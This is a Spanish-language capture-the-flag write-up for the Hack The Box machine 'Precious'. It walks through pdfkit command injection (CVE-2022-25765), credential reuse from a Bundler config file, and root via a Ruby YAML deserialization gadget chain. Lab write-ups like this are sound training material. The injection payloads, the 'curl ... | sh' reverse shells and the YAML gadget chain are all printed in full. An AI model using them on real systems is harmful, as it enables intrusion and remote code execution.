En Precious identificamos y explotamos la vulnerabilidad de Command Injection existente en PDFKit la cual nos permitio el acceso a la maquina. Las credenciales en un archivo de configuracion nos permitieron acceder a un segundo usuario. Finalmente escalamos privilegios utilizando un archivo YAML.
Nombre |
Precious |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.11.189 |
Maker |
Nauten |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[3.5, 6, 9, 1, 4],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# Nmap 7.92 scan initiated Sat Nov 26 13:35:00 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.76.46
Nmap scan report for 10.129.76.46 (10.129.76.46)
Host is up (0.10s latency).
Scanned at 2022-11-26 13:35:01 CST for 9s
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read from /usr/bin/../share/nmap: nmap-payloads nmap-service-probes nmap-services.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 26 13:35:10 2022 -- 1 IP address (1 host up) scanned in 9.83 seconds
|
Web Site
Los headers del sitio muestran una redirección al dominio precious.htb
.
1
2
3
4
5
6
7
8
9
10
|
➜ precious curl -sI 10.129.76.46
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Sat, 26 Nov 2022 19:34:52 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://precious.htb/
➜ precious
|
El sitio web unicamente presenta un formulario para una dirección de URL que aparentemente permite convertir un sitio web a PDF o lo que seria contenido HTML.
Al ingresar nuestra dirección IP por le puerto 80 se listan los archivos en el directorio dentro de un archivo PDF.
Si observamos la solicitud realizada, se muestra en los Headers wkhtmltopdf Version/10.0
.
1
2
3
4
5
6
7
8
9
10
11
|
➜ precious sudo nc -lvvp 80
[sudo] password for kirby:
listening on [any] 80 ...
connect to [10.10.14.53] from precious.htb [10.129.76.84] 44152
GET / HTTP/1.1
Host: 10.10.14.53
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
|
Si realizamos la misma solicitud utilizando Burpsuite observamos que la respuesta, es decir el PDF, muestra información relevante, en este caso se observa que esta haciendo uso de Ruby, además en el contenido del pdf se muestra: wkhtmltopdf 0.12.6
y pdfkit v0.8.6
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
# response
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 10243
Connection: close
Status: 200 OK
Content-Disposition: attachment; filename="hab1sv8krjm65qvqk2q62wj5ssim4amo.pdf"
Last-Modified: Sat, 26 Nov 2022 20:52:19 GMT
X-Content-Type-Options: nosniff
Date: Sat, 26 Nov 2022 20:52:19 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
%PDF-1.4
%âã
1 0 obj
<<
/Title ()
/Creator (þÿwkhtmltopdf 0.12.6)
/Producer (þÿQt 5.15.2)
/CreationDate (D:20221220190959-05'00')
>>
endobj
2 0 obj
[.. snip ..]
<<
/Type /Metadata
/Subtype /XML
/Length 2829
>>
stream
<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about=''
xmlns:dc='http://purl.org/dc/elements/1.1/'>
<dc:creator>
<rdf:Seq>
<rdf:li>Generated by pdfkit v0.8.6</rdf:li>
</rdf:Seq>
</dc:creator>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
[.. snip ..]
<<
/Size 19
/Info 1 0 R
/Root 2 0 R
/Prev 6546
>>
%EndExifToolUpdate 6986
startxref
10045
%%EOF
|
User - Ruby
Command Injetion
Tras investigar ambas versiones encontramos una vulnerabilidad Command Injection en pdfkit (CVE-2022-25765) al ingresar “parametros” de tipo string #{}
.
Enviamos en el formulario un comando para realizar ping a nuestra máquina, tras ello obtuvimos una solicitud ping por parte de la máquina.
1
|
http://10.10.14.207/#{'%20`ping -c 3 10.10.14.207`'}
|
Shell
Ejecutamos shells para una shell inversa.
1
|
http://10.10.14.53:9999/index.html#{'%20`curl 10.10.14.53:3000/10.10.14.53:1335|sh`'}
|
Obtuvimos acceso como usuario Ruby.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
➜ precious rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.53] from precious.htb [10.129.76.84] 50710
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
ruby@precious:/var/www/pdfapp$ whoami;id;pwd
ruby
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
/var/www/pdfapp
ruby@precious:/var/www/pdfapp$
|
Observamos el codigo fuente para generar el PDF.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
ruby@precious:/var/www/pdfapp/app/controllers$ cat pdf.rb
class PdfControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
erb :'index'
end
post '/' do
url = ERB.new(params[:url]).result(binding)
if url =~ /^https?:\/\//i
filename = Array.new(32){rand(36).to_s(36)}.join + '.pdf'
path = 'pdf/' + filename
begin
PDFKit.new(url).to_file(path)
cmd = `exiftool -overwrite_original -all= -creator="Generated by pdfkit v0.8.6" -xmptoolkit= #{path}`
send_file path, :disposition => 'attachment'
rescue
@msg = 'Cannot load remote URL!'
end
else
@msg = 'You should provide a valid URL!'
end
erb :'index'
end
end
ruby@precious:/var/www/pdfapp/app/controllers$
|
User - Henry
Las credenciales de un archivo de configuración nos permitió acceder al usuario henry, y, la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -lah
total 28K
drwxr-xr-x 4 ruby ruby 4.0K Nov 26 15:20 .
drwxr-xr-x 4 root root 4.0K Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3.5K Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4.0K Oct 26 08:28 .bundle
drwxr-xr-x 4 ruby ruby 4.0K Nov 26 15:20 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
ruby@precious:~/.bundle$ su henry
Password: Q3c1AqGHtoI0aXAYFH
henry@precious:/home/ruby/.bundle$ whoami;id
henry
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:/home/ruby/.bundle$ cd
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt
d696803fba5ac1e52a5254f60e1c58ab
henry@precious:~$
|
Privesc
El usuario Henry puede ejecutar como root el script update_dependencies.rb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
henry@precious:~$ sudo -l -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$
|
El script carga un archivo YAML en el cual obtiene nombre y version de la dependencia a actualizar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
|
Tras observar el uso de YAML encontramos que Yaml.load es vulnerable y se muestran dos formas para la ejecución de comandos segun la versión de Ruby.
1
2
3
|
henry@precious:~$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
henry@precious:~$
|
Tras crear nuestro archivo dependencies.yml con el codigo para ejecución del comando id
observamos el resultado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
henry@precious:~$ ls
dependencies.yml user.txt
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)
henry@precious:~$
|
Agregamos la ejecución de una shell inversa.
1
2
3
4
5
6
7
8
|
henry@precious:~$ cat dependencies.yml
---
[.. snip ..]
socket: !ruby/module 'Kernel'
method_id: :system
git_set: curl 10.10.14.53:3000/10.10.14.53:1336 | bash
method_id: :resolve
henry@precious:~$
|
Tras ejecutar nuevamente el script logramos obtener una shell como root y nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
➜ precious rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.53] from precious.htb [10.129.76.84] 40910
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/home/henry
# cd /root
# ls
root.txt
# cat root.txt
fcd883c54c37def311b73ea70510a952
#
|